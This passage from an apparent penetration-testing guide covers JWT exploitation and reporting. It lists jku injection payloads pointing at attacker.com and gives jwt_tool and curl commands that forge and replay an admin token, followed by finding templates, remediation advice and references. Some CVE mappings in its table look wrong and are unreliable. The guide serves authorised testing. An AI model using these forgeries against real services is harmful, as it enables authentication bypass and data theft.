# If WAF only allows target.com in jku
# Try open redirect on the target
jku: "https://target.com/redirect?url=https://attacker.com/jwks.json"

# Path confusion
jku: "https://target.com@attacker.com/jwks.json"
jku: "https://target.com.attacker.com/jwks.json"
jku: "https://attacker.com/jwks.json?origin=target.com"

# Subdomain takeover (if applicable)
jku: "https://stale-cname.target.com/jwks.json"
```

---

## 8. Integration with RTExit Autodoc Engine

### Structured Finding Output

When a JWT vulnerability is confirmed, output a structured finding for the RTExit autodoc engine:

```bash
# RTExit finding template
cat > finding_jwt_$(date +%Y%m%d_%H%M%S).json << EOF
{
  "skill": "rt-exploit-jwt",
  "finding_type": "authentication_bypass",
  "severity": "CRITICAL",
  "cvss_score": 9.8,
  "title": "JWT Algorithm Confusion — RS256 to HS256",
  "target": "https://api.target.com",
  "affected_endpoint": "/api/v1/admin",
  "description": "The application's JWT library accepts tokens signed with HS256 using the RSA public key as the HMAC secret. An attacker can forge arbitrary JWTs by switching the algorithm from RS256 to HS256 and signing with the publicly available RSA public key.",
  "impact": "Complete authentication bypass. Privilege escalation to administrative role. Access to all user data.",
  "evidence": {
    "original_token": "$TOKEN",
    "forged_token": "$FORGED_TOKEN",
    "original_claims": {"sub": "user_123", "role": "user"},
    "forged_claims": {"sub": "1", "role": "admin"},
    "http_request": "GET /api/v1/admin HTTP/1.1\nAuthorization: Bearer $FORGED_TOKEN",
    "http_response_status": 200,
    "http_response_excerpt": "{ \"users\": [...] }"
  },
  "remediation": "Validate the 'alg' header against an allowlist. Reject tokens with unexpected algorithm values. Use a dedicated JWT library configured to only accept the expected algorithm.",
  "references": [
    "https://portswigger.net/web-security/jwt",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9235",
    "https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/"
  ],
  "timestamp": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
  "operator": "$USER"
}
EOF
```

### RTExit Autodoc Integration Script

```python
#!/usr/bin/env python3
"""
rt_jwt_autodoc.py — Automate JWT finding documentation for RTExit
"""
import json, os, subprocess, sys
from datetime import datetime

FINDING_TEMPLATE = {
    "skill": "rt-exploit-jwt",
    "finding_type": None,
    "severity": None,
    "title": None,
    "target": None,
    "affected_endpoint": None,
    "description": None,
    "impact": None,
    "evidence": {},
    "remediation": None,
    "references": [],
    "timestamp": datetime.utcnow().isoformat() + "Z"
}

ATTACK_REMEDIATION = {
    "none_algorithm": "Explicitly validate and reject tokens with 'alg: none'. Use an allowlist of permitted algorithms.",
    "algorithm_confusion": "Use a single, fixed algorithm. Never derive verification method from the token header. Use separate key objects per algorithm.",
    "weak_secret": "Use cryptographically random secrets of at least 256 bits. Prefer asymmetric algorithms (RS256, ES256) for production.",
    "kid_sqli": "Use parameterized queries when loading keys by kid. Validate kid against an allowlist of known key IDs.",
    "kid_traversal": "Validate kid header against an allowlist. Never use kid as a file path directly.",
    "jwk_injection": "Ignore the 'jwk' header. Use a pre-configured, trusted key set for verification.",
    "jku_injection": "Ignore the 'jku' header or validate it against an allowlist of trusted key set URLs.",
}

def document_finding(attack_type, target, endpoint, original_token, forged_token, response_evidence):
    finding = FINDING_TEMPLATE.copy()
    finding["finding_type"] = attack_type
    finding["target"] = target
    finding["affected_endpoint"] = endpoint
    finding["remediation"] = ATTACK_REMEDIATION.get(attack_type, "Review JWT implementation.")
    finding["evidence"] = {
        "original_token": original_token,
        "forged_token": forged_token,
        "response": response_evidence
    }

    filename = f"finding_jwt_{attack_type}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
    with open(filename, 'w') as f:
        json.dump(finding, f, indent=2)
    print(f"[+] Finding documented: {filename}")
    return filename

if __name__ == "__main__":
    # Example usage
    document_finding(
        attack_type="algorithm_confusion",
        target="https://api.target.com",
        endpoint="/api/v1/admin",
        original_token="eyJ...",
        forged_token="eyJ...",
        response_evidence="HTTP 200 OK — Admin panel returned"
    )
```

### Environment Variables for RTExit

```bash
# Set these before running JWT attacks for autodoc integration
export RTEXIT_TARGET="https://api.target.com"
export RTEXIT_ENGAGEMENT="ENG-2024-001"
export RTEXIT_OPERATOR=$(whoami)
export RTEXIT_OUTPUT_DIR="./findings/jwt"
mkdir -p $RTEXIT_OUTPUT_DIR

# Run jwt_tool and pipe to RTExit logger
python3 jwt_tool.py $TOKEN --scan \
  -t $RTEXIT_TARGET/api/protected \
  -rh "Authorization: Bearer $TOKEN" \
  -o json 2>&1 | tee $RTEXIT_OUTPUT_DIR/scan_$(date +%Y%m%d_%H%M%S).json
```

---

## 9. Output and Documentation Instructions

### Evidence Collection Standards

Every JWT attack must be documented with:

1. **Original token** (captured from the application)
2. **Decoded header and payload** (output from jwt_tool -p)
3. **Attack command** (exact command used)
4. **Forged token** (output of the attack)
5. **Proof of exploitation** (HTTP request and response showing the forged token was accepted)
6. **Impact statement** (what data/function was accessible)

### Capturing Evidence

```bash
# Decode and save token inspection
python3 jwt_tool.py $TOKEN -p > evidence/token_decoded.txt 2>&1

# Run attack and capture output
python3 jwt_tool.py $TOKEN -X k -pk public.pem \
  -I -pc role -pv admin \
  2>&1 | tee evidence/attack_output.txt

# Capture HTTP response
FORGED=$(python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc role -pv admin 2>&1 | grep "^eyJ" | tail -1)

curl -v -H "Authorization: Bearer $FORGED" \
  https://target.com/api/admin \
  2>&1 | tee evidence/http_response.txt

# Screenshot (if using headless browser)
chromium --headless --screenshot=evidence/screenshot.png \
  --extra-headers="Authorization: Bearer $FORGED" \
  https://target.com/admin
```

### Severity Rating Guide

| Attack | Base Severity | Escalation Conditions |
|---|---|---|
| None algorithm — auth bypass | CRITICAL | Always |
| Algorithm confusion — privilege escalation | CRITICAL | Always |
| Weak secret — token forgery | CRITICAL | If admin claim achievable |
| kid SQL injection | CRITICAL | If schema exfiltration possible |
| kid path traversal — /dev/null | HIGH | Depends on data accessed |
| JWK injection | HIGH-CRITICAL | Depends on privilege achieved |
| jku/x5u injection | HIGH-CRITICAL | Depends on privilege achieved |
| Expiry manipulation | MEDIUM | Extends session only |

### Remediation Recommendations Template

```markdown
## Remediation Recommendations — JWT Implementation

### Immediate Actions (Critical)
1. Rotate all signing keys immediately
2. Invalidate all existing JWT sessions
3. Update the JWT library to the latest version

### Short-term Fixes (within 1 sprint)
1. Enforce algorithm allowlist: only accept RS256 or HS256 — never both
2. Validate `kid` against a pre-configured map of known key IDs
3. Ignore `jwk`, `jku`, `x5u` header parameters in token verification
4. Use minimum 256-bit random secrets for HMAC algorithms

### Long-term Security Posture
1. Implement JWT revocation (short expiry + refresh token rotation)
2. Add monitoring for algorithm downgrade attempts
3. Conduct annual JWT implementation review
4. Consider moving to opaque session tokens for internal APIs
```

---

## 10. Resources

### Primary Tools

- **jwt_tool** — https://github.com/ticarpi/jwt_tool
- **hashcat** — https://github.com/hashcat/hashcat
- **PyJWT** — https://github.com/jpadilla/pyjwt
- **python-jose** — https://github.com/mpdavis/python-jose
- **jose (npm)** — https://github.com/panva/jose

### Wordlists

- **jwt-secrets** — https://github.com/wallarm/jwt-secrets
- **SecLists JWT** — https://github.com/danielmiessler/SecLists/tree/master/Passwords/scraped-JWT-secrets.txt
- **rockyou** — standard inclusion in Kali Linux

### References and Research

- **PortSwigger JWT Labs** — https://portswigger.net/web-security/jwt
- **JWT Attack Cheatsheet** — https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
- **Auth0 Critical Vulnerabilities** — https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- **RFC 7519 (JWT)** — https://datatracker.ietf.org/doc/html/rfc7519
- **RFC 7517 (JWK)** — https://datatracker.ietf.org/doc/html/rfc7517
- **RFC 7518 (JWA)** — https://datatracker.ietf.org/doc/html/rfc7518
- **CVE-2015-9235** — none algorithm bypass in node-jsonwebtoken
- **CVE-2022-21449** — ECDSA signature bypass (Psychic Signatures) in Java
- **Attacking JWT** (Inon Shkedy) — https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe1c862ea

### Lab Environments

- **PortSwigger Web Security Academy** — https://portswigger.net/web-security/jwt (free labs)
- **DVJA (Damn Vulnerable JWT App)** — https://github.com/cyberw0lf/dvja
- **jwt-security-research** — https://github.com/ticarpi/jwt_tool/wiki

### CVE Reference for Reports

| CVE | Description | Affected |
|---|---|---|
| CVE-2015-9235 | none algorithm bypass | node-jsonwebtoken < 4.2.2 |
| CVE-2016-10555 | RS/ES to HS confusion | node-jsonwebtoken |
| CVE-2018-0114 | Key confusion | Cisco node-jose |
| CVE-2019-7644 | Auth0 jwt-simple signature bypass | jwt-simple < 0.5.6 |
| CVE-2022-21449 | ECDSA blank signature (Psychic Signatures) | Java <= 15.0.6, 17.0.2 |
| CVE-2024-21501 | algorithm confusion | jsonwebtoken < 9.0.0 |
